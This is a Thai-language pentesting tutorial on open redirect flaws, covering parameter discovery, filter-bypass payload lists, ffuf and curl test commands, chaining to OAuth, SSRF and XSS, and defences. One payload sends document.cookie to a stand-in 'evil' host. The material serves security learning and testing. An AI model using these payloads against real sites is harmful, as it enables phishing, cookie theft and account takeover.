Open Redirect
Open Redirect เกิดเมื่อแอป redirect ไป URL ที่มาจาก input ผู้ใช้โดยไม่ตรวจปลายทาง ทำให้ลิงก์ที่ขึ้นต้นด้วยโดเมนน่าเชื่อถือพาเหยื่อไปเว็บอันตราย เดี่ยวๆ ความรุนแรงต่ำ (phishing) แต่ทรงพลังเมื่อ chain กับ OAuth token theft, SSRF filter bypass, หรือ XSS ผ่าน javascript: บทนี้เน้นการหา parameter, ชุด payload เลี่ยง filter ตาม URL-parsing quirks, และการ chain
1. หลักการ
พารามิเตอร์อย่าง ?redirect=, ?next=, ?url=, ?return=, ?dest=, ?continue= ที่แอปเอาไป redirect (ผ่าน HTTP 3xx Location: หรือ JS location=) ถ้าไม่ validate ปลายทาง ผู้โจมตีใส่ URL ภายนอกได้ ลิงก์จึงขึ้นต้นด้วยโดเมนจริงที่เหยื่อไว้ใจ แต่พาไปเว็บปลอมหรือขโมย token
- หา parameter:
redirect, next, url, return, returnUrl, dest, destination, continue, goto, redir, r, u, target, callback - จุดที่พบบ่อย: หลัง login (
?next=), logout, OAuth callback, ลิงก์ tracking, error page - ตรวจทั้ง redirect ฝั่ง server (3xx) และ client-side (
location.href = param, meta refresh)
2. Payload & filter bypass
# พื้นฐาน
?next=https://evil.com
?next=//evil.com (protocol-relative — เลี่ยง 'ต้องขึ้นต้น /')
?next=https:evil.com (บาง parser ยอม)
?next=https:/evil.com (slash เดียว)
# เช็คแค่ 'มี trusted.com'
?next=https://[email protected] (userinfo → host จริงคือ evil.com)
?next=https://evil.com#trusted.com
?next=https://evil.com?trusted.com
?next=https://trusted.com.evil.com (subdomain หลอก)
?next=https://evil.com/trusted.com
# เช็ค 'ขึ้นต้น trusted.com'
?next=https://trusted.com.evil.com
?next=https://trusted.com\.evil.com
# backslash / whitespace quirks (parser ต่างกัน)
?next=/\evil.com ?next=\/\/evil.com
?next=/%2f/evil.com ?next=%0a//evil.com
?next=https://evil.com%2f%2e%2e
# encoding
?next=https%3a%2f%2fevil.com
?next=%68%74%74%70%73://evil.com| filter ที่ dev ใช้ | payload ที่ผ่าน |
|---|---|
| ต้องขึ้นต้นด้วย / | //evil.com, /\evil.com, /%09/evil.com |
| ต้องมี 'trusted.com' | [email protected], evil.com/trusted.com |
| ต้องขึ้นต้น https://trusted.com | https://trusted.com.evil.com |
| บล็อก http/https | //evil.com, javascript:, data: |
| บล็อก '//' | /\/evil.com, https:/evil.com, /%2f/evil.com |
| strip 'http' | hthttptps://evil.com (nested) |
Location: ที่ตอบกลับจริงว่า host กลายเป็นอะไร# ยิงชุด payload แล้วดู response ที่ Location ชี้ evil.com
ffuf -u 'https://target/go?next=FUZZ' \
-w redirect-payloads.txt \
-mr 'Location: .*evil' -o or.json
# หรือดูด้วยตา:
curl -sI 'https://target/go?next=//evil.com' | grep -i location3. การ chain (เพิ่มความรุนแรง)
open redirect เดี่ยวๆ เป็นแค่ phishing (low) แต่เมื่อ chain กับช่องอื่นกลายเป็น high/critical — นี่คือเหตุผลที่ควรรายงานเสมอแม้ดูเล็ก
- OAuth/token theft: ถ้า callback ที่ถูก whitelist ใน OAuth มี open redirect →
code/token ไหลออกไป evil ผ่านหน้าที่ 'ถูกต้อง' = account takeover (ดู OAuth Attacks) - SSRF filter bypass: ให้ URL ที่ผ่าน allowlist ของ SSRF แล้ว redirect ต่อไป internal (
169.254.169.254) — server-side fetcher ตาม redirect (ดู SSRF) - XSS ผ่าน scheme: ถ้า redirect รับ
javascript:หรือdata:→javascript:alert(document.domain)รันในบริบทโดเมนจริง - Phishing น่าเชื่อ: ลิงก์ขึ้นต้นโดเมนจริง + reset/login page ปลอมที่ปลายทาง → เก็บ credential
- CSRF token/Referer leak: redirect ออกไป evil แล้ว token/parameter ใน URL รั่วผ่าน Referer
?next=javascript:alert(document.domain)
?redirect=javascript:fetch('//evil/'+document.cookie)
?url=data:text/html,<script>alert(1)</script>
# ได้ผลเมื่อ client ทำ location = param โดยไม่กรอง scheme
# server-side 3xx มักไม่ trigger (browser ไม่ execute Location: javascript:)4. ตัวอย่าง CTF & Real-world
CTF: หน้า login redirect ตาม ?returnTo= โดยเช็คแค่ 'ขึ้นต้น /' — payload ?returnTo=/\evil.com ถูก browser ตีความเป็น //evil.com (protocol-relative) → พาออกนอกโดเมน solve ด้วยการพา bot/admin ไปหน้าที่เก็บ token
Real-world: open redirect บนหน้า /auth/callback ของแอป ทำให้ OAuth code ที่ถูกส่งมาที่ callback (redirect_uri ที่ whitelist ไว้) ถูก redirect ต่อพร้อม code ใน query ไปโดเมนผู้โจมตี — ยกจาก 'low severity redirect' เป็น full account takeover เป็นเหตุผลที่ bug bounty จ่ายสูงเมื่อ chain กับ OAuth
5. ข้อผิดพลาด & การป้องกัน
- รายงานเดี่ยวแล้วจบ: มองข้ามการ chain (OAuth/SSRF/XSS) ที่ยก severity
- ลองแค่ payload เดียว: filter แต่ละแบบต้อง payload คนละ quirk — ลองเป็นชุด
- ไม่แยก client/server redirect: javascript: ได้เฉพาะ client-side
- ดูแค่หน้าจอ: ต้องดู header
Locationจริงว่า host กลายเป็นอะไร
host กับ allowlist (ไม่ใช่ substring/prefix), บล็อก scheme นอกเหนือ http/https, บังคับให้ redirect เป็น relative path ที่ขึ้นต้น / เดียว (ปฏิเสธ // และ /\), และแสดงหน้า interstitial เตือนก่อนออกนอกโดเมน6. Quick Reference
- param: redirect/next/url/return/dest/continue/goto/callback
- พื้นฐาน: //evil.com, https:evil.com, /\evil.com
- bypass filter: @evil.com, trusted.com.evil.com, backslash, encode
- หัวใจ = URL parser confusion (validator vs redirector)
- client-side (location=) → javascript:/data: = XSS
- chain: OAuth token theft, SSRF bypass, phishing, Referer leak
- ตรวจด้วยการดู Location header จริง (ffuf -mr / curl -I)
- ป้องกัน: allowlist host, relative path เท่านั้น, บล็อก scheme แปลก
🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ
สมมติเจอ parameter ที่ดูเหมือน redirect เช่น ?next= หรือ ?url= มีแค่ Kali เปล่าๆ ทำตามนี้ทีละขั้น
- 1เปิด Burp Suite ตั้ง proxy แล้วเดินแอปหา parameter ที่ทำ redirect (next/url/return/dest/redirect/continue/goto)
- 2ลองใส่
?next=//evil.comแล้วดู response ด้วย curl -sI 'https://target/go?next=//evil.com' | grep -i location - 3ถ้าถูก filter ลองชุด payload ทีละอัน: @evil.com, trusted.com.evil.com, backslash (/\evil.com), double-encode
- 4ใช้ ffuf ยิง payload list พร้อม grep Location header อัตโนมัติ (-mr 'Location: .*evil')
- 5เช็คว่า redirect เป็น server-side (3xx) หรือ client-side (location.href ใน JS) ด้วยการดู Network tab/source
- 6ถ้าเป็น client-side ลอง payload
?next=javascript:alert(document.domain) - 7เช็คว่า parameter นี้เป็น OAuth redirect_uri/callback ไหม (ดูใน request /authorize ที่ Burp เก็บไว้)
- 8เช็คว่า parameter เดียวกันถูกใช้เป็น input ของ server-side fetch ไหม (เช่น URL preview/webhook) → อาจเป็น SSRF
- 9รายงานพร้อม impact ที่ chain ได้ (แนบ Location header จริงเป็นหลักฐาน)
| ขั้นตอน/งาน | เครื่องมือใน Kali | ติดตั้งเพิ่ม (ถ้าไม่มี) | เครื่องมือออนไลน์ |
|---|---|---|---|
| ดักจับ request หา param redirect | Burp Suite Community | - | - |
| เช็ค Location header | curl | - | - |
| fuzz payload list + grep Location | ffuf | - | - |
| ทดสอบ client-side location.href | เบราว์เซอร์ DevTools | - | - |
| ลิสต์ payload bypass สำเร็จรูป | - | - | github.com/swisskyrepo/PayloadsAllTheThings |
หัวข้อที่เชื่อมโยง
โน้ตของฉัน
ยังไม่มีโน้ตสำหรับหัวข้อนี้